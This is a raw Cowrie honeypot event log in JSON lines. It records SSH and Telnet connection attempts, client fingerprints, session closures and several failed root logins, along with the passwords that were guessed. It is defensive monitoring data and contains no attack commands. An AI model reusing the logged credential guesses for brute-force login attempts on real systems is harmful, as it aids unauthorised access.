{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:18:38.781362Z","src_ip":"122.51.73.24","session":"7b4bcda6f33a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server2025#","message":"login attempt [root/Server2025#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:18:39.506260Z","src_ip":"122.51.73.24","session":"7b4bcda6f33a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45106,"dst_ip":"10.17.0.5","dst_port":23,"session":"28fcbe720339","protocol":"telnet","message":"New connection: 192.119.13.58:45106 (10.17.0.5:23) [session: 28fcbe720339]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:18:39.855409Z"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:18:40.752925Z","src_ip":"122.51.73.24","session":"7b4bcda6f33a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.72073483467102,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:18:42.215505Z","src_ip":"192.119.13.58","session":"706902e13c9f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57318,"dst_ip":"10.17.0.5","dst_port":23,"session":"16faae0858c6","protocol":"telnet","message":"New connection: 192.119.13.58:57318 (10.17.0.5:23) [session: 16faae0858c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:18:42.718802Z"}
{"eventid":"cowrie.session.closed","duration":0.005398988723754883,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:18:42.723954Z","src_ip":"192.119.13.58","session":"16faae0858c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.86175990104675,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:18:44.986116Z","src_ip":"192.119.13.58","session":"121d4e81c0a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.05255103111267,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:18:51.083923Z","src_ip":"192.119.13.58","session":"a79bb7fdb671","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.17944645881653,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:18:51.667273Z","src_ip":"192.119.13.58","session":"f3cca75fcaf0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50900,"dst_ip":"10.17.0.5","dst_port":23,"session":"50b1026aef4c","protocol":"telnet","message":"New connection: 192.119.13.58:50900 (10.17.0.5:23) [session: 50b1026aef4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:18:54.955051Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55188,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1d4b7fc7746","protocol":"telnet","message":"New connection: 192.119.13.58:55188 (10.17.0.5:23) [session: f1d4b7fc7746]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:18:55.991716Z"}
{"eventid":"cowrie.session.closed","duration":32.08317804336548,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:18:58.402150Z","src_ip":"192.119.13.58","session":"8c0562f05613","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.560444831848145,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:18:59.350723Z","src_ip":"192.119.13.58","session":"cf39a6568d90","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.82191801071167,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:18:59.455553Z","src_ip":"192.119.13.58","session":"fee7b41dc852","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43534,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a770c0d0bc9","protocol":"telnet","message":"New connection: 192.119.13.58:43534 (10.17.0.5:23) [session: 9a770c0d0bc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:18:59.960426Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43644,"dst_ip":"10.17.0.5","dst_port":23,"session":"483dee94b2e1","protocol":"telnet","message":"New connection: 192.119.13.58:43644 (10.17.0.5:23) [session: 483dee94b2e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:18:59.983830Z"}
{"eventid":"cowrie.session.closed","duration":43.75075030326843,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:19:04.833857Z","src_ip":"192.119.13.58","session":"e3cf9743364b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.19943714141846,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:19:06.990364Z","src_ip":"192.119.13.58","session":"d05752f4d7d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.58450102806091,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:19:07.366453Z","src_ip":"192.119.13.58","session":"eb9d1ce63e37","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.21290826797485,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:19:09.075312Z","src_ip":"192.119.13.58","session":"6bd4a6ab1744","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57844,"dst_ip":"10.17.0.5","dst_port":23,"session":"28eff6834eca","protocol":"telnet","message":"New connection: 192.119.13.58:57844 (10.17.0.5:23) [session: 28eff6834eca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:19:10.336541Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59636,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5a632581b95","protocol":"telnet","message":"New connection: 192.119.13.58:59636 (10.17.0.5:23) [session: c5a632581b95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:19:11.858987Z"}
{"eventid":"cowrie.session.closed","duration":38.32709765434265,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:19:13.767140Z","src_ip":"192.119.13.58","session":"6606af776467","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48060,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc82b82d8e38","protocol":"telnet","message":"New connection: 192.119.13.58:48060 (10.17.0.5:23) [session: cc82b82d8e38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:19:14.746212Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60104,"dst_ip":"10.17.0.5","dst_port":23,"session":"de7669ec3770","protocol":"telnet","message":"New connection: 192.119.13.58:60104 (10.17.0.5:23) [session: de7669ec3770]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:19:17.511072Z"}
{"eventid":"cowrie.session.closed","duration":42.949700593948364,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:19:19.507233Z","src_ip":"192.119.13.58","session":"623f6cec8074","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49538,"dst_ip":"10.17.0.5","dst_port":23,"session":"cee29648f8e8","protocol":"telnet","message":"New connection: 192.119.13.58:49538 (10.17.0.5:23) [session: cee29648f8e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:19:21.620646Z"}
{"eventid":"cowrie.session.connect","src_ip":"175.118.127.138","src_port":43292,"dst_ip":"10.17.0.5","dst_port":22,"session":"f0cb4f4cc65c","protocol":"ssh","message":"New connection: 175.118.127.138:43292 (10.17.0.5:22) [session: f0cb4f4cc65c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:19:26.846546Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:19:26.851600Z","src_ip":"175.118.127.138","session":"f0cb4f4cc65c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:19:27.029081Z","src_ip":"175.118.127.138","session":"f0cb4f4cc65c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2112","message":"login attempt [root/2112] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:19:27.770739Z","src_ip":"175.118.127.138","session":"f0cb4f4cc65c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:19:28.951928Z","src_ip":"175.118.127.138","session":"f0cb4f4cc65c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.75255465507507,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:19:29.607849Z","src_ip":"192.119.13.58","session":"28fcbe720339","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57750,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec702452ed5a","protocol":"telnet","message":"New connection: 192.119.13.58:57750 (10.17.0.5:23) [session: ec702452ed5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:19:30.856269Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39310,"dst_ip":"10.17.0.5","dst_port":23,"session":"ade9710626e4","protocol":"telnet","message":"New connection: 192.119.13.58:39310 (10.17.0.5:23) [session: ade9710626e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:19:33.064135Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.51.73.24","src_port":62975,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a5721f9b711","protocol":"ssh","message":"New connection: 122.51.73.24:62975 (10.17.0.5:22) [session: 8a5721f9b711]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:19:33.900494Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:19:33.905559Z","src_ip":"122.51.73.24","session":"8a5721f9b711","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:19:34.150932Z","src_ip":"122.51.73.24","session":"8a5721f9b711","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.84428834915161,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:19:34.835869Z","src_ip":"192.119.13.58","session":"f1d4b7fc7746","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49112,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc863bb74158","protocol":"telnet","message":"New connection: 192.119.13.58:49112 (10.17.0.5:23) [session: fc863bb74158]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:19:35.512390Z"}
{"eventid":"cowrie.session.closed","duration":40.9747531414032,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:19:35.929677Z","src_ip":"192.119.13.58","session":"50b1026aef4c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456!@","message":"login attempt [root/123456!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:19:36.236689Z","src_ip":"122.51.73.24","session":"8a5721f9b711","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:19:37.484860Z","src_ip":"122.51.73.24","session":"8a5721f9b711","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.43884539604187,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:19:38.422659Z","src_ip":"192.119.13.58","session":"483dee94b2e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43486,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d1aac5858c5","protocol":"telnet","message":"New connection: 192.119.13.58:43486 (10.17.0.5:23) [session: 4d1aac5858c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:19:40.933908Z"}
{"eventid":"cowrie.session.closed","duration":41.04319477081299,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:19:41.003534Z","src_ip":"192.119.13.58","session":"9a770c0d0bc9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49138,"dst_ip":"10.17.0.5","dst_port":23,"session":"60e185c2e82c","protocol":"telnet","message":"New connection: 192.119.13.58:49138 (10.17.0.5:23) [session: 60e185c2e82c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:19:42.164400Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":37412,"dst_ip":"159.203.135.109","dst_port":22,"session":"ac651d16a39e","protocol":"ssh","message":"New connection: 193.37.70.224:37412 (159.203.135.109:22) [session: ac651d16a39e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:19:43.072047Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:19:43.088994Z","src_ip":"193.37.70.224","session":"ac651d16a39e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:19:43.167680Z","src_ip":"193.37.70.224","session":"ac651d16a39e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"k","message":"login attempt [root/k] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:19:43.535304Z","src_ip":"193.37.70.224","session":"ac651d16a39e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:19:44.632666Z","src_ip":"193.37.70.224","session":"ac651d16a39e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34190,"dst_ip":"10.17.0.5","dst_port":23,"session":"72faf77ad521","protocol":"telnet","message":"New connection: 192.119.13.58:34190 (10.17.0.5:23) [session: 72faf77ad521]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:19:45.254336Z"}
{"eventid":"cowrie.session.closed","duration":38.01294279098511,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:19:49.871700Z","src_ip":"192.119.13.58","session":"c5a632581b95","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":55812,"dst_ip":"10.17.0.5","dst_port":22,"session":"fa4d29d355a9","protocol":"ssh","message":"New connection: 193.32.162.145:55812 (10.17.0.5:22) [session: fa4d29d355a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:19:49.889140Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:19:49.894069Z","src_ip":"193.32.162.145","session":"fa4d29d355a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:19:50.037692Z","src_ip":"193.32.162.145","session":"fa4d29d355a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.86591935157776,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:19:50.202323Z","src_ip":"192.119.13.58","session":"28eff6834eca","protocol":"telnet"}
